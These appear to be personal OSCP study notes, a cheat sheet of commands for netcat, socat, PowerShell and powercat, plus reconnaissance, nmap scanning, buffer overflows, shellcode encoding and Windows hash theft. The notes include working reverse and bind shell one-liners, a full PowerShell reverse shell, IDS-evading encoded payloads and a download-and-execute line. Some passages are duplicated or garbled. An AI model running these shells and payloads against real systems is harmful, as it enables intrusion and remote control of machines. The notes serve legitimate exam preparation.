OSCP Prep
Useful Commands
man -k 'keyword'
: perform a keyword search
history - !<LINE_NUMBER>
: re-run a command from history


cut -d <DELIMITER> -f <FIELD_NUM>
: Extracts a certain field by using a delimiter.


uniq -c
: Prefixes the output with the number of occurrences.
ps -fC <NAME OF APPLICATION/PROCESS>
: Find app/ process in the list of processes.
wget -O file.pdf <link_of_file>
: Download file
grep -o '[^/]*\madeupdomain\.com' document.txt | sort -u > subdomains.txt
grep -o [REGEX]
: Return the string defined in our regex'[^/]*
: (^) Negated set which searches for any number of chars except\
sudo sed -i -e 's/<CURR_UUID>/<NEW_UUID>/g' /etc/passwd
: Replacing UUID
Practical Tools
Netcat
โa utility which reads and writes data across network connections, using TCP or UDP protocols.83โ
Connect to a TCP/UDP Port:
nc -nv <IP> <PORT>
-n
: option skip DNS name resolution.-v
: verbose output
Listening on a TCP/UDP Port:
nc -nlvp <PORT>
-l
: creates a listener.-p
: specify listening port number
Transfering files:
We first setup the machine we want to recieve the file:
nc -nlvp <PORT>
>
<FILENAME>
Then we send the file from another machine to the IP of the machine waiting to recieve the file.
nc -nv <IP-OF-LISTENING -MACHINE> <PORT>
<
<FILEPATH>
Netcat bind shell:
nc -nlvp <PORT> -e
-e
: executes a program after recieving successful connection.Netcat has bound the TCP port to the program, if this were a command prompt the person on connecting to this machine would be able to control the command prompt of the machine.
nc -nv <IP-OF-LISTENING -MACHINE> <PORT>
This is obviously bad, a big security flaw.
Reverse shell:
nc -nlvp <IP>
nc -nv <IP-OF-LISTENING -MACHINE> <PORT> -e /bin/bash
Now netcat will have redircted a/bin/bash shell to the original user.
Socat
A command line utility that establishes to bidirectional byte streams and tranfers between them.
Connect to a remote server:
socat - TCP4:<IP>:<PORT>
-
: enabales transfer of data between STDIO and remote host.
Listening on a port:
sudo socat TCP4-LISTEN:<PORT> STDOUT
TCP4-LISTEN
: protocol required for the listner.
NB: Sudo is required to bind a listen to ports below 1024.
Transfering files:
We first setup the machine we want to send the file:
sudo socat TCP4-LISTEN:<PORT>,fork file:<FILENAME>
fork
: creates a child process once a connection is made to the listener.file
: specifies file to transfer.
Then we send the file from the first machine to the IP of the machine waiting to recieve the file.
socat TCP4:<MACHINE-IP>:<PORT> file:<FILEPATH>,create
create
: specifies that new file will be created.
Reverse shell:
socat -d- -d TCP4-LISTEN:<PORT> STDOUT
-d -d
: increase verbosity, show errors, fatal and warning messages.
socat TCP4:<LISTENING -MACHINE-IP>:<PORT> EXEC:/bin/bash
EXEC:
simliar to netcats-e
, EXED will excute pogram ornce a connection id made.
Now netcat will have redircted a/bin/bash shell to the original user.
Encrypted bind shells:
We first use openssl to create a self-signed certificate like the below.

req
: initiate a new certificate signing request-newkey
: generate a new private keyrsa:2048
: use RSA encryption with a 2,048-bit key length.-nodes
: store the private key without passphrase protection-keyout
: save the key to a file-x509
: output a self-signed certificate instead of a certificate request-days
: set validity period in days-out
: save the certificate to a fileWe then convert the key and certificate to a format accepted by Socat.
cat bind_shell.key bind_shell.crt > bind_shell.pem
Now we can use an OPENSSL-LISTEN option to create the listener.
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem, verify=0,fork EXEC:/bin/bash
Now we can transfer data between STDIO and the remote host:
socat - OPENSSL:<LISTENING-MACHINE-IP>:<PORT>, verify=0
socat -d- -d TCP4-LISTEN:<PORT> STDOUT
-d -d
: increase verbosity, show errors, fatal and warning messages.
socat TCP4:<LISTENING -MACHINE-IP>:<PORT> EXEC:/bin/bash
EXEC:
simliar to netcats-e
, EXED will excute pogram once a connection id made.
Now netcat will have redircted a/bin/bash shell to the original user.
PowerShell
PowerShell maintains an execution policy that determines which type of PowerShell scripts (if any) can be run on the system. The default policy is โRestrictedโ.

File Transfers:
powershell -c "(new-object
System.Net.WebClient).DownloadFile('<IP>/<FILE>',
'<PATH-TO-SAVE-FILE>')"
-c
: executes the command wrapped in double quotes as if it were typed at the PoweShell prompt.new-object
: cmdlet that allows us to instantiate .Net framework or COM object. We create a WebClient class from the System.Net namespace.
Reverse shells:
Start by setting up a netcat listener:
nc nc -lnvp <PORT>
Then we send a PowerShell reverse shell from our attacking computer:
$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
adding this into the
-c
command will allow us to execute it and obtain a shell on the victims computer.
Bindshells:
Like before we can use the
-c
to execute our command:
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Leng th);
$stream.Flush()};$client.Close();$listener.Stop()"
We can then connect to the bind shell with netcat:
nc -nv <IP> <PORT>
Powercat
Essentially the PowerShell version of Netcat, it can leverage the strength of PowerShell and help simplify the creation of bind/reverse shells.
Once powercat is loaded onto the Windows machine, we run:
. .\powercat.ps1
: This is called Dot-Sourcing and will make all vars and functions declared in the script available to PowerShell.
If we need another way to load powercat onto the machine we can use iex:
iex (New-Object System.Net.Webclient).DownloadString('
https://raw.githubusercontent.com/besimorhino/po
wercat/master/powercat.ps1')
Now we can execute powercat by running: powercat
and see the help by running it with the -h
flag.

File Transfers:
We first setup the machine we want to send the file using Netcat:
sudo nc -lvnp <PORT>
>
<FILENAME>
Now we invoke powercat on our attacking computer.
powercat -c <IP> -p <PORT> -i <FILE-PATH>
-c
: specifies client mode and sets listening IP-p
: specifies port number to connect to-i
: Indicates the local file to be transferred
Reverse shell:
Netcat sets up a listener and waits for connection
sudo nc -lvp <PORT>
powercat -c:<MACHINE-IP> -p <PORT> -e cmd.exe
Bind shell:
Powershell sets up the listener for a bind shell.
powercat -l -p <PORT> -e cmd.exe
nc <LISTENING-IP> <PORT>
Powercat Stand-Alone Payloads:
sudo nc -lvnp <PORT>
: Set up out Netcat listner on attacking machine.powercat -c <IP> -p <PORT> -e cmd.exe -g
>
reverseshell.ps1
-g
: Generates a PowerShell scipt
./reversehell.ps1
The above payload will be easily detected by an IDS, there are ways to better our chances.
powercat -c <IP> -p <PORT> -e cmd.exe -ge
>
encodedreverseshell.ps1
-ge
: File will now contain an encoded string that can be executed by PowerShell using:-E
(Encoded Command).-E
: The encoded file can not be passed to this function, instead we need the whole encoded string.
PS C:\Users\tommy> powershell.exe -E
ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABhAH
IAYQBtACgAJABGAHUAbgBjAFMAZQB0AHUAcABWAGEAcgBzACkACgAgACAAIAAgACQAYwAsACQAbAAsACQAcAAs
ACQAdAAgAD0AIAAkAEYAdQBuAGMAUwBlAHQAdQBwAFYAYQByAHMACgAgACAAIAAgAGkAZgAoACQAZwBsAG8AYg
BhAGwAOgBWAGUAcgBiAG8AcwBlACkAewAkAFYAZQByAGIAbwBzAGUAIAA9ACAAJABUAHIAdQBlAH0ACgAgACAA
IAAgACQARgB1AG4AYwBWAGEAcgBzACAAPQAgAEAAewB9AAoAIAAgACAAIABpAGYAKAAhACQAbAApAAoAIAAgAC
AAIAB7AAoAIAAgACAAIAAgACAAJABGAHUAbgBjAFYAYQByAHMAWwAiAGwAIgBdACAAPQAgACQARgBhAGwAcwBl
AAoAIAAgACAAIAAgACAAJABTAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdA
BlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAKACAAIAAgACA
Wireshark
To launch Wireshark: sudo wireshark
Capture filters
Used to define which traffic we want to capture, best to define broad filters to get the correct data.
Display filters
Allows us to focus on a certain protocol, port, IP or all of the these.
ip addr == 192.168.199.154

Following TCP streams


Tcpdump
A text based network sniffer. One of the most commonly used command line packet analyzers and is found on most Linux and Unix OS's.
To launch Tcpdump: sudo tcpdump
To read a file add the -r
To skip DNS name lookup add -n
Filtering traffic
We can use filters to inspect the traffic more closely:
src host <IP-TO-INSPECT>
dst host <IP-TO-INSPECT>
port <PORT>
To dump captured traffic we use -X
to print the packet data in both HEX and ASCII format.
Bash scripting
Intro
To create a a bash script we begin with:
#!/bin/bash
- This tells the interpreter the absolute path to run the script
chmod +x file.sh
- Used to make the script executable
./file.sh
- Runs the script, when we type this command bash tried to find it in our PATH variable.
Variables
Used to store temporary data, to declare a variable we use a simple name=value declaration, like:
first_name=Tommy
greeting=
'Hello there!'
echo $greeting ==> Hello there!
greeting2="Another $greeting"
echo $greeting2 ==> Another Hello there!
Command substitution is where we can taketge output of a command or program and save it to a varaible. To do this we use the "$(CMD)" syntax:
user=$(whoami)
echo $user ==> kali
Or we can use a backtick syntax.
user1=`whoami`
echo $user2 ==> kali
Arguments
To add arguments to our script we can use $[0-9]
#!/bin/bash
echo "Arg 1: $1, Arg 2: $ 2"
./file.sh hello there
=>Arg1: hello, Arg2: there
There are other as shown in the table below:

Reading user input
!/bin/bash
echo "Do you want to be a hacker: Y/N?"
read answer
echo "Your answer was $answer"
-p
: allows us to specify a prompt
-s
: makes the user input silent
.
/file.sh
==> Do you want to be a hacker: Y/N?
Y
==> Your answer was Y
If, else, elif statements
#!/bin/bash
read -p "How old are you?" : age
if [ $age -lt 18 ]
then
echo "You may not enter, come back when you're older!"
else
echo "Welcome to the online ssh drinks store!"
fi
.
/file.sh
==> how old are you?
18
==> Welcome to the online ssh drinks store!
Boolean logical operations
&&
: executes a command only if previous command succeeds
||
: excutes the next command only if previous command failed
Loops
For loops
for <var> in <list>
do
<action>
done
A pratical example could be printing IP addresses in a subnet. We can use seq
to print a sequence of numbers or we can use ranges {1..10}
for ip in $(seq 1 15); do echo 10.10.10.$ip; done
for i in {1..10}; do echo 10.10.10.$i; done
While loops
while [ <bool> ]
do
<action>
done
Functions
Used to excute code easily multiple times in as script. It can be written in two ways:
function <function_name> {
<action>
}
<function_name> () {
<action>
}
Passive Information Gathering
There are two different ideas on this. In the most strictest, we never communicate with the target directly. We rely on third parties for information such as using search engines, but it this may limit our results.
In the less strict, we might create a user on the target website and interact as a normal user to gather information. Make sure not to test for any vulnerabilities during this phase!
Make sure to take detailed notes we have gathered
One of first steps can be to gather potential names, emails and social media acccounts
Whois Enumeration
Used tp gather basic information about a domain name, it executes a standard foward search: whois example.com
We can also perform reverse lookups if we have an IP: whois 10.10.0.0
Google Hacking
Operators:
site:megacorpone.com
site:megacorpone.com
filetype:php
- Locates PHP files on domainsite:megacorpone.com
ext:jsp, ext:pl
- Finds indexed Java & Perl pages.site:megacorpone.com
-filetype:html
- Excludes HTML pages from results.intitle:"index of" "parent directory"
Finds pages that contain "index of" in the title and the words "parent directory" on the page.Misconfiguraitions like this can potentiall reveal sesitive information.
A better insight into google hacking can be found in the links below:
Recon-ng
Module based framework for web-based info gathering.It displays the results in the terminal and stores them in a database.We can then feed the results into another module to expand our scope of information gathered.

Modules:
marketplace search <MODULE_NAME>

marketplace info <MODULE>

marketplace install <MODULE>
modules load <MODULE>

options set SOURCE <domain-name>
run
We can now list our discovered hosts stored in the DB: show hosts
From here we can install and load modules and keep passing data between them to build our knowledge of the company!
Open-Source Code
Allows us a glimpse of languages used by a company. Sometimes senstive data or credentials is accidently submitted. Github search is much like Google. filename: xxx
There are automated tools to make this process easier such as Gitrob & Gitleaks.
Shodan
A search engine for devices connected to the internet, such a s routers and IoT devices.
Security Header Scanner
This sit will ananlyze HTTP response headers and provide some analysis of the site's security: https://securityheaders.com/
For example the site could be missing defensive headers, such as "X-Frame-Options", "Content-Security-Policy".
SSL Server Test
A scanning tool used to analyze a server SSL/ TLS configuration. It will identify SSL vulnerabilities like Heartbleed and Poodle. Even with good security results we can get a better picture of the security practices a company may use.
Pastebin
Useful to find potential sensitive information: https://pastebin.com/
User Information Gathering
theHarvester
Used to gather emails, names, subdomain, IP's and URLs from public data sources.
theHarvester -d megacorpone -b google.com
-d
: Specify target domain-b
:Set data source to search from
Social Media Tools
https://www.social-searcher.com/ is a search engine for social media sites.
For Twitter there is Twofi:
For LinkedIn there is linked2username:
OSINT Framerwork
Includes information gatehring tools and websites in one central location. Not supposed to a complete checklist but instead help your mind to come up with additional info gathering oppurtunities.
Maltego
A data mining tool that offers a huge combination of tools and stratergies. It cans earch thousands of online data sources. Not needed for the exam, but can be very useful in a commercial environment.
Active Information Gathering
DNS Enumeration
DNS is one if the most critical systems on the internet. It is build on a hierachical structure that is divded into several zones. It starts with the top level root zone.
Interacting with a DNS Server
Each domain can use diferent types of DNS records, some common one are:
NS - Nameserver records contain the name of the authoritative servers hosting the DNS records for a domain.
A - AKA ("a record") contains the IP address of a hostname.
MX - Mail Exchange records contain the name of server responsible for handling emails for a domain.
PTR - Pointer records are used in reverse lookup zones to find records associated with an IP.
CNAME - Canonical name records are used to create aliases for other host records.
TXT - Text records can contain arbitrary data used for various thing such a domain ownership verification.
the host
command by default look for an A record:

-t
: Specify the type of record to look for

Automating Lookups
Forward DNS Lookup
By using a forward DNS lookup of common hostname we can attempt to guess DNS records.
Build a possible list of hostnames or use a precompiled list.
Use a for loop to run host on all entries in hostnames.txt:
for ip in $(cat hostnames.txt); do host $ip.megacorpone.com; done
Reverse Lookups
With our results from the forward DNS lookup, we can now scan the approximate range with reverse lookups to request the hostname for each IP.

DNS Zone Transfers
Database replication between related DNS servers. The zone file is copied from a master DNS server to a slave server. It contains a list of all DNS names configured for that zone. Zone transfers should only be allowed to authorize slave DNS server but many are misconfigured allowing anyone asking for a copy of the DNS server zone to be allowed it.
Example: host -l <domain name> <dns server address>
Nameserver does not allow DNS zone transfers:

A successful attempt:

DNSRecon
-d
: Domain name-t
: Type of enumeration to perform

We can also perform a brute force attack:
-D
: Specify file name containing potential subdomains strings.-t brt
: Set type to brute force
DNSenum
dnsenum domainname
Port Scanning
TCP Scanning
The simplest scanning technique is called CONNECT scanning. It relies on the three-way TCP handshake. The host send a TCP SYN packet to the server on a destination port. If the port if open the server responds with a SYN-ACK packet and client sends an ACK packet to complete the handshake. If the handshake completes the we can consider the port open.

-w
: Specify the connection timeout in seconds-z
: Specify zero-I/O mode, which will send no data, useful fr scanning.The port 3389 returns as open.
UDP Scanning
Since UDP is stateless and doesn't invole the three-way handshake, the mechanism behind UDP os different from TCP.

-u
:Indicated UDP scan.Many UDP scanners use the standard "ICMP port unreachable" message. This can distort results as when filtered by a firewall it can result in the scan thing the port is open because the lack of a ICMP message.
Nmap Scanning
Monitoring our traffic:
We can use iptables.
sudo iptables -I INPUT 1 -s 10.11.1.220 -j ACCEPT
sudo iptables -I OUTPUT 1 -d 10.11.1.220 -j ACCEPT
sudo iptables -Z
-I
: Insert new rule into a given chain.-s
: Specify source IP.-d
: Specify destination IP.-j
: ACCEPT the traffic.-z
: Zero the packet and byte counters in all chains.
Now we generate traffic using nmap:
nmap 10.11.1.2201
sudo iptables -vn -L
Chain INPUT (policy ACCEPT 1528 packets, 226K bytes)
pkts bytes target prot opt in out source destination
1263 51264 ACCEPT all -- * * 10.11.1.220 0.0.0.0/0
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 1323 packets, 191K bytes)
pkts bytes target prot opt in out source destination
1314 78300 ACCEPT all -- * * 0.0.0.0/0 10.11.1.220
According to the output this default 1000 port scan, has generated 78KB of traffic. If we run all TCP ports scan we generate about 4MB of traffic!
Stealth/ SYN Scanning
The default scan when no scan technique is specified and the user has sudo privileges:sudo nmap -sS 10.11.1.220
TCP Connect Scanning
The default scan when no scan technique is specified and the user does not have sudo privileges:sudo nmap -sT 10.11.1.220
sT
: Starts a connect scan
UDP Scanning
sudo nmap -sU 10.11.1.220
Can also be combined with the TCP SYN scan: sudo nmap -sS -sU 10.11.1.220
Network Sweeping
nmap -sn 10.11.1.1-254
We can also sweep for specific TCP or UDP ports probing for common services, these tend to be more accurate than a ping sweep: nmap -p 80 10.11.1.1-254
Ping sweeps can be written with the CIDR format or by using wildcard notation.
CIDR -
nmap -sn 200.200.0.0/16
Wildcard-
nmap -sn 200.200.12-13*
Wildcard -
nmap -sn 172.16.12*
We can scan multiple IPs probing for a shortlist of common ports. Let's run a TCP connect scan on the top 20 ports:nmap -sT -A --top-ports=20 10.11.1.1.220
OS Fingerprinting
Simple OS scan: sudo nmap -O 10.11.1.1.220
Banner Grabbing/ Service Enumeration
nmap -sV -sT -A 10.11.1.1.220
-sV
: Inspect service banners-A
: Run OS and service enumerations scripts against the target.
Nmap Scripting Engine (NSE )
NSE is an incredibly powerful addon with the scripts been written in LUA.
--script=
<SCRIPT_NAME>
--script-args=
<ARG1, ARG2>
Some useful scripts to try include -
safe:
Won't affect the targetintrusive:
Not safe, possibilty to affect the targetvuln:
Scan for vulnerabilitesexploit:
Attempt to exploit vulnerabilityauth:
Attempt to bypass authbrute:
Attempt to brute force creds for running servicesdiscovery:
Attempt to query running services for more information about the network
nmap <IP> --script=smb-os-discovery
nmap --script=dns-zone-transfer -p 53 <NAME_SERVER>
nmap --script-help <SCRIPT>
: Displays help abut the script
Masscan
If we need to scan large networks and thousands of IP addresses at once we can use another tool called Masscan
It's faster than Nmap
It's designed with scanning huge networks
It's possible to crash networks (Be careful!)
To try masscan on a class C subnet we can use the following example. sudo masscan -p80 10.11.1.0/24 --rate=1000 -e tap0 --router-ip 10.11.0.1
SMB Enumeration
The NetBIOS Service listen on TCP port 139 and SMB TCP port 445. NetBIOS and SMB are two seperate protocols, but the enumeration of these goes hand in hand. Using nmap we can run a command like so:nmap -v -p 129, 445 -oG smb.txt 10.10.0.1-254
nbtscan is a tool for identifying NetBIOS info: sudo nbtscan -r 10.10.0/24
Nmap SMB NSE Scripts
List all SMB scripts: ls -l /usr/share/nmap/scripts/smb*
OS discovery: nmap -v -p 139, 445 --script=smb-os-discovery 10.1.0.47
NFS Enumeration
Network File System (NFS) allows users to access files over a computer network as if they were localy-mounted storage. It's not uncommon to find NFS shares open to the world.
Portmapper and RPCbind run on port 111. We scan these ports using nmap again:nmap -v -p 111 10.10.1.1-254
If we find NFS running we can run the NFS scripts against it:nmap -p 111 --script nfs* 10.10.1.30
If for example we find the entire /home
directory is being shared we can access it by using mount :
mkdir home
sudo mount -0 nolock 10.10.1.30:/home ~/home
SMTP Enumeration
Simple Mail Transport Protocol (SMTP) supports several interesting commands such as VRFY and EXPN. A VRFY request asks the server to verify an email, while EXPN asks the server for the membership of a mailing list.

SNMP Enumeration
Initial Enumeration
Create a new folder for the current machine
Run a nmap scan -sV -sC -oA, save the output in a folder
Load up machine IP in browser
View page source
Check if robots.txt exist
Run gobsuter in dir mode
Check for anon access if FTP is running
If site is WP we should use wpscan to enummerateusers for
On login page, we can try to bruteforce with hydra or if website is WP use wpscan
Initial Foothold
If upload or LFI exists try and get a reverse shell, if file is not allowed try below link
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass
Look for ssh creds or plain text / hashed passwords
Getting files from victim to us: https://chryzsh.gitbooks.io/pentestbook/content/transfering_files.html
Editing SSH perms: https://www.howtogeek.com/168119/fixing-warning-unprotected-private-key-file-on-linux/
Buffer Overflow Attacks
A buffer overflow attack works by taking control of the execution flow of a piece of software. This means being able to force an application to behave differently to how it was designed can lead to:
An app or OS crash, causing DOS
Privilege Escalation
Remote Code Execution (RCE)
Security features bypass
Buffers
A buffer is an area in the computer of RAM reserved for temporary data storage.
User input
Parts of a video file
Server banners
Buffers have a finite size, which means they can only hold a limited amount of data If a client-server app is designed to accept only 8-characters long username, the username buffer will be 8 bytes long.
Buffers are stored in a data structure in computer memory known as a stack To add data to the stack we can use the Last in First Out (LIFO) approach.
Push: add an element to the stack
Pop: removes the last inserted element
In Modern OS's they still use LIFO but an app can randomly access a positon on the stack to read-write data. To save space for later use, the app can reserve memory allocations on the stack to access them.
A raw overflow that overwrites memory will crash an app, while a well-engineered attack is able to execute code.
Radare2
A framework for reverse engineering and analysing binaries.
To open a binary in debugging mode
r2 -d <FILE_NAME>
Then to analyze the program type
aa
Once complete run
afl
to see a list of the functions.Run:
pdf @main
Immunity Debugger
The main application used for disassembling code from .exe into Assembly code. There are many plugins such as Mona that can be used to:
Create a payload to find the EIP register:
!mona pc <number of bytes>
Find the size of junk bytes needed before reaching the EIP:
!mona po <EIP crash value>
Find the address of a CALL/JMP ESP:
!mona jmp -r esp -m kernel
Check modules properties:
!mona modules
Check to see if ASLR is enabled or not
!mona noaslr
Bypass Techniques
There are many methods to use but most require an excellent understanding of reverse engineering and exploit writing. Here a couple:
Non-randomized modules
AIms to find a module that does not have ASLR enabled.
Uses a simple JMP/CALL ESP from that module.
One of the easiest techniques to use.
Bruteforce
ASLR can be forced by overwriting the return pointer with plausible addresses until we reach the shellcode.
Success depends on these factors;
How much we can change the address space layout?
How many NOP's can be placed?
How many exploitation attempts can we perform?
NOP-Sled
Create a big area of NOP's in order to increase the chances to jump to this area.
Makes the execution "slide" down the NOP's to react the shellcode.
An attacker can guess the jump location with a low degree of accuracy and still exploit the program.
https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html - a useful ref from FireEye.
Preventing Buffer Overflow Attacks
Address Space Layout Randomization (ASLR)
Used by all modern OS's.
Introduces randomness for executables, libs, and stacks in the memory address space.
Makes it harder for an attacker to predict memory address that may exploit or crash the process.
OS loads the same executable at different locations in memory each time.
ASLR is not enabled for all modules, which can lead to vulnerable processes that are open to the ASLR bypass attack.
Data Execution Prevention (DEP)
Defensive hardware and software to prevent the execution of code from pages in memory that are not marked as executable.
Code injected into the memory cannot be run from that region.
Makes Buffer Overflow exploits hard to carry out.
Stack Cookies (Canary)
A security implementation that places a value next to the return address on the stack.
The prologue function loads a value into this location
The epilogue function makes sure the value is intact.
When epilogue runs it checks value is present and unchanged.
EMET (Enhanced Mitigation Experience Toolkit)
A utility that helps prevent vulnerabilities from being exploited.
Offer many mitigation technologies, such as DEP, ASLR, SEHOP and more.
Can also disable the security of the system for testing purposes.
Shellcode
Once an attacker has identified an exploit in the application the first task is to inject shellcode into the software. The shellcode can get sent through the network (remote buffer overflows) or through the local environment. As well as using the EIP to run the shellcode it's possible to execute it when an SEH (Structured Exception Handling) frame activates. The SEH stores an address to jump to upon encountering an exception like division by zero.
Local Shellcode
Used to exploit local processes to get higher privileges on a machine.
AKA Privilege Escaltion Shellcode
Remote Shellcode
Sent through the network along with an exploit.
AKA Remote Code Execution
To provide access to machine by means of TCP/IP.
Remote shellcodes can be sub-divided based on how the connection is setup:
Connect back
Initiates a connection back to the attacker's machine.
Bind shell
Binds a shell to a certain port on which the attacker can connect.
Socket Reuse
Establishes a connection to a vulnerable process that does not close before shellcode executes.
Can re-use this connection to communicate with the attacker
Very complex so not used often
Null-Free Shellcode
There are two main ways to do this:
Manually edit the shellcode to not have the string terminator, or use different instructions that perfrom the same operations.
Enode and Decode the shellcode.
We can also use a tool such as msfvenom to do this for us.
First we have convert the shellcode to binary
echo -ne "x68\x63\x6d..." > binshellcode.bin
-n
used to not output teh trailing newline-e
enables interpretation of backslash escapes
The we can use msfvevom to encode it
-b <character(s) to avoid>
: specify a list of bad character when generating shellcode, '\x00' in this case since we want null free.-a x64
: scpecify teh arhitecture to use-p
: instructs msfvenom to read the custom payload from stdin--platform win
: specify the platform to use-e x86/shikata_ga_nai
: specify enocoder to se-f c:
: sets the output format
Final command:
cat binshellcode.bin | msfvenom -p -a x86 --platform win -e x86/shikata_ga_nai -f c -b '\x00'
To list payloads in msfvenom: msfvenom --list payloads
One of the easiest to use is the windows/messagebox payload: msfvenom -p windows/messagebox
Cryptography
There are four main issues:
Authentication - claims made by or about subject are true
Confidentiality - information is accessible onnly to authorized users or people
Integrity - message hasw not been tampared/ altered in anyway during transfer
Non-repudiation - ensuring that an idividual or party cannout refute the validity of a a statement
Classification
Based or how they keys are used there are 2 main divisions:
Symmetric-key
Both the sender and reciever share the same key.
The plain text and the key are used to apply the encryption to ge the cipher text
Examples include: DES, AES, Blowfish.
Public-key (Asymmetric-key)
There are two keys for each peer.
A public key and a private key.
The public key can be freely distrubuted and a the matching private key kept secure.
Typically used for encryption while the private key is used for decryption.
Public Key Infrastructure (PKI)
A set of hardware, software, people, policies and procedures needed to create, manage, store, distribute and revoke digitial certificates. The PKI must make sure that the identidity of a person or organization is certified correctly by means of a certificate authority (CA).
X.509 is the standard for public key certificates. They are widely used in protocols like SSL/TLS, SET, S/MIME, IPsec and others. A certificate binds a public key with an identitiy (a digital signature). The information includes the name of a person, organization and other relevent details. The CA acts a trusted third party, to verify the identity you need to trust the CA. Common filename extensions include:
.DER - (Distinguished Encoding Rules) encoded cerftificate.
.PEM - (Privacy Enhanced Mail) Base64 encoded DER certificate
.PFX or .P12 - PKCS#12 may contain cerfticate(s) (public) and private keys (password protected)
SSL (Secure Sockets Layer)
A protocol which is used to communicate over the Internet securely. SSL uses both PKI and Symmetric encryption to create secure comminucation channel between two entities. SSL ensure that no third party can tamper with the communication.

Digital Signature
A mechanism much like a human signature on papaer that allow to authenticate a message. I proves the message is coming from the given sender. It cannot be reproduced so if tampered we will know.

Secure Shell (SSH)
A network protocol that allow data to be exchanged using a secure channel between two networked devices. Common on Unix based systems and a replacement of Telent as it allows remote access to a computer/ server through a secure shell.
SSH Tunnels
An SSH tunnel is an encrpyted tunnel created through an SSH connection. These tunnels can be used to tunnel unecrypted traffic over a network securely. SSH allow us to tunnel any protocol securely.
Creating a tunnel
A SSH client is configured to fowared a specified local port to a port on a remote machine.
Traffic to the local port (SSH client) is forwaded to the remote host (SSH server).
The remote host will then forwars this traffic to the intended host.
Tunnels provide means to bypass firewalls that prohibit certain internet services provided that ougoing connection are allowed. This also can apply to corporate policies and filters too.
Legacy Windows (2000/ XP/ Vista/ 7/ 8) Passwords
Nearly all passwords in Windows are stored in a config database called SAM. The Security Accounts Manager or SAM is a database stored as a registry file in Windows NT, Window 200 and later versions of Windows. It stores users' passwords in a hashed format:
LM hash
NT hash
Stealing the hashes
To start we need at least an administrative account. If we already have a shell on our target system and it's meterpreter shell then all we have to run is one simple command hashdump
. There are many other tools to name a few: Pwdump and fgdump. These work great with a running (remote) system but say we want to gather hashes offline?This assumes we have local access to the system, we can use tools like ophcrack to dump the hashed for later cracking.
Instead of stealing hashes you change the SAM fille content. A tool called chntpw allows us to:
Clear passwords
Change passwords
Promote users to adminstrator
The login process can be bypassed entirely using a tool like Kon-Boot. It allow to log into a system as root without knowing the password - https://www.piotrbania.com/all/kon-boot/.
At this point we have hashes to crack and have to options, We can try and Crack the hash or Pass-the-hash.
Pass-the-hash is an authentication attack that allows us to use LM & NT hashes to gain access to a remote Windows host without having to know the actual password. More later...
Crack the hash is an attack using other tools such a John or Hashcat that have options to perform many attacks such as dictionary and bruteforce. Or we can use Ophcrack which uses rainbow tables.
Information Gathering
WHOIS Lookup
WHOIS can find the location, phone numbers, DNS provider, name server but it's worth noting sometimes we can not get this information as some webiste won't list this to keep their privacy. We can do this online or locally on our terminal: whois <DNS to query>
If we want more information we can use a specific whois server:whois -h <whois server DNS to query>
DNS Lookup
One of the simplest queries a DNS server can get. It asks the DNS to resolve a hostname to the matching IP. This can be done with nslookup <hostname>
It's also possible to do the reverse and from a given IP address lookup the Domain name: from the DNS pointer records (PTR): nslookup -type=PTR IPAddress
or using tools like http://network-tools.com/nslook/.
Using the MX(Mail Exchange) lookup we retrieve a list of servers for delivering e-mails for the given domain: nslookup -type=MX domain
or tools online such as http://www.dnsqueries.com/en/ and http://www.mxtoolbox.com/.
Zone transfers (a misconfig of the remote DNS server), if they are enabled we can enumerate the entire DNS record for the zone. We first have to find the organization's name server: nslookup -type=NS domain
There are usually to name servers. Then we can issue a zone transfer request: nslookup server <Name server for domain> ls -d domain
All the following commands can be written in dig too.
dig target.com
Standard DNS lookup
dig target.com PTR
PTR lookup
dig target.com MX
MX lookup
dig target.com NS
NS lookup
dig target.com axfr @target.com target.com
It's helpful to know both tools!
We can use Bing and Google to find all websites hosted on a given IP using the ip filter.
ip:192.193.168.101
There are also other online tools that allow subdomain enumeration.
Netblocks
A range or set of IP addresses, usually assigned to someone and has both a starting and ending IP address. ie:
192.168.0.0 - 192.168.255.255 or in (CIDR notation) 192.168.0.0/16
Larger netblocks are given to larger organizations like Internet Service Providers (ISP) and Government agencies. It's the individual who buys one or more IP addresses from the ISP.
Autonomous Systems
Made from one or more netblocks under the same administrative control. Big corporations and ISP's have an autonomous system, while smaller companies will barely have a netblock.
ICMP is often disabled on perimeter routers and firewalls and on latest Windows clients via the Windows Firewall. ICMP scans are no longer reliable in determining whether a host is alive or not. Nmap's host discovery command: -sn
is more than just a simple ICMP echo.
DNS
We can use Nmap to scan the entire network and find hosts that have port 53 open
TCP scan: nmap -sS -p53 [NETBLOCK]
UDP scan: nmap -sS -p53 [NETBLOCK]
Scanning
Ports, Protocols and Services (PPS)
